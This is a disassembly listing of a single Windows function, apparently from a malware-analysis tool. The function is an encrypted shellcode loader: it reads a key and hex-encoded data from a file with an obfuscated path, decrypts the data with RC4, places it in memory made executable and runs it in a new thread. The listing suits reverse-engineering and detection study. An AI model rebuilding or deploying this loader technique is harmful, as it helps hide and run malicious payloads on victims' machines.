Function at 0x140001450
Capabilities:
Create thread
Encrypt data using rc4 ksa

Disassembly:
push rbp
push r14
lea rbp, [rsp - 0xe10d8]
mov eax, 0xe11d8
call fcn.140002820
sub rsp, rax
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0xe10c0], rax
mov qword [rsp + 0xe11f0], rbx
xor r14d, r14d
mov qword [rsp + 0xe11f8], rsi
mov ecx, 0x20
mov qword [rsp + 0xe1200], rdi
mov qword [rsp + 0xe11d0], r15
mov qword [rsp + 0x60], r14
call fcn.140001940
movdqa xmm0, xmmword [0x1400033e0]
lea rdx, [rsp + 0x58]
mov rcx, rax
mov qword [rsp + 0x58], rax
movdqu xmmword [rsp + 0x68], xmm0
movups xmm0, xmmword [str.B__Trdsr_Qtcmhb_rxrudl_uyu]
movups xmmword [rax], xmm0
movsd xmm0, qword [0x140003398]
movsd qword [rax + 0x10], xmm0
movzx eax, word [0x1400033a0]
mov word [rcx + 0x18], ax
mov byte [rcx + 0x1a], r14b
lea rcx, [rsp + 0x38]
call fcn.140001280
cmp qword [rsp + 0x50], 0xf
lea rcx, [rsp + 0x38]
lea rdx, [0x1400033a4]
cmova rcx, qword [rsp + 0x38]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen]
mov rbx, rax
test rax, rax
je 0x14000180f
lea r9, [rbp + 0x4b0b0]
mov rcx, rax
lea r8, [rbp - 0x78]
lea rdx, str.Key:__32s_nEncrypted_Data:__614400s
call fcn.140001010
mov rcx, rbx
cmp eax, 2
je 0x14000154e
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
jmp 0x14000180f
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
lea rbx, [rbp - 0x78]
mov esi, r14d
mov edi, r14d
nop
cmp byte [rbx], r14b
je 0x14000159b
cmp byte [rbx + 1], r14b
je 0x14000159b
movsxd rax, edi
lea r8, [rsp + 0x78]
add r8, rax
lea rdx, str._2hhx
mov rcx, rbx
call fcn.140001060
cmp eax, 1
jne 0x14000180f
add rbx, 2
inc esi
inc edi
cmp edi, 0x10
jl 0x140001560
cmp esi, 0xffffffff
je 0x14000180f
lea rbx, [rbp + 0x4b0b0]
mov r15d, r14d
mov edi, r14d
cmp byte [rbx], r14b
je 0x1400015f2
cmp byte [rbx + 1], r14b
je 0x1400015f2
movsxd rax, edi
lea r8, [rbp + 0xb0]
add r8, rax
lea rdx, str._2hhx
mov rcx, rbx
call fcn.140001060
cmp eax, 1
jne 0x14000180f
add rbx, 2
inc r15d
inc edi
cmp edi, 0x4b000
jl 0x1400015b1
cmp r15d, 0xffffffff
je 0x14000180f
movdqa xmm2, xmmword [0x1400033f0]
lea rdx, [rbp - 0x4c]
movdqa xmm3, xmmword [0x140003400]
mov ecx, 8
nop word [rax + rax]
lea eax, [rcx - 8]
movd xmm0, eax
lea rdx, [rdx + 0x10]
pshufd xmm0, xmm0, 0
lea eax, [rcx - 4]
paddd xmm0, xmm2
movd xmm1, eax
pshufd xmm1, xmm1, 0
lea eax, [rcx + 4]
paddd xmm1, xmm2
andps xmm0, xmm3
andps xmm1, xmm3
packuswb xmm0, xmm0
packuswb xmm1, xmm1
packuswb xmm0, xmm0
movd dword [rdx - 0x14], xmm0
packuswb xmm1, xmm1
movd dword [rdx - 0x10], xmm1
movd xmm0, ecx
add ecx, 0x10
pshufd xmm0, xmm0, 0
paddd xmm0, xmm2
movd xmm1, eax
pshufd xmm1, xmm1, 0
andps xmm0, xmm3
paddd xmm1, xmm2
packuswb xmm0, xmm0
andps xmm1, xmm3
packuswb xmm0, xmm0
movd dword [rdx - 0xc], xmm0
lea eax, [rcx - 8]
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd dword [rdx - 8], xmm1
cmp eax, 0x100
jl 0x140001620
mov r8d, r14d
lea r10, [rbp - 0x50]
mov r9d, r14d
nop dword [rax]
movzx r11d, byte [r10]
mov eax, r9d
cdq
idiv esi
movsxd rax, edx
movzx ecx, byte [rsp + rax + 0x78]
add r8d, ecx
add r8d, r11d
and r8d, 0x800000ff
jge 0x1400016ee
dec r8d
or r8d, 0xffffff00
inc r8d
movsxd rax, r8d
lea rcx, [rbp - 0x50]
add rcx, rax
inc r9d
movzx eax, byte [rcx]
mov byte [r10], al
inc r10
mov byte [rcx], r11b
cmp r9d, 0x100
jl 0x1400016c0
movsxd rdi, r15d
mov eax, r14d
mov r8d, r14d
test r15d, r15d
jle 0x14000178c
mov r9, r14
inc eax
and eax, 0x800000ff
jge 0x140001733
dec eax
or eax, 0xffffff00
inc eax
movsxd rcx, eax
lea r10, [rbp - 0x50]
add r10, rcx
movzx r11d, byte [r10]
add r8d, r11d
and r8d, 0x800000ff
jge 0x14000175a
dec r8d
or r8d, 0xffffff00
inc r8d
movsxd rcx, r8d
lea rdx, [rbp - 0x50]
add rdx, rcx
movzx ecx, byte [rdx]
mov byte [r10], cl
mov byte [rdx], r11b
movzx edx, byte [r10]
add rdx, r11
movzx ecx, dl
movzx edx, byte [rbp + rcx - 0x50]
xor byte [rbp + r9 + 0xb0], dl
inc r9
cmp r9, rdi
jl 0x140001721
mov r9d, 4
mov r8d, 0x3000
mov rdx, rdi
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbx, rax
test rax, rax
je 0x14000180f
mov r8, rdi
lea rdx, [rbp + 0xb0]
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
lea r9, [rsp + 0x30]
mov r8d, 0x20
mov rdx, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor edx, edx
test eax, eax
je 0x140001800
mov qword [rsp + 0x28], r14
xor r9d, r9d
mov r8, rbx
mov dword [rsp + 0x20], r14d
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rdi, rax
test rax, rax
jne 0x1400018bc
xor edx, edx
mov r8d, 0x8000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov r14d, 1
mov rdx, qword [rsp + 0x50]
mov r15, qword [rsp + 0xe11d0]
mov rdi, qword [rsp + 0xe1200]
mov rsi, qword [rsp + 0xe11f8]
mov rbx, qword [rsp + 0xe11f0]
cmp rdx, 0xf
jbe 0x14000186e
mov rcx, qword [rsp + 0x38]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001869
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400018b5
call fcn.14000197c
mov rdx, qword [rsp + 0x70]
movdqa xmm0, xmmword [0x1400033d0]
mov byte [rsp + 0x38], 0
movdqu xmmword [rsp + 0x48], xmm0
cmp rdx, 0xf
jbe 0x1400018ee
mov rcx, qword [rsp + 0x58]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400018e9
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400018e9
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov edx, 0xffffffff
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor edx, edx
mov r8d, 0x8000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
jmp 0x140001815
call fcn.14000197c
mov eax, r14d
mov rcx, qword [rbp + 0xe10c0]
xor rcx, rsp
call fcn.140001920
add rsp, 0xe11d8
pop r14
pop rbp
ret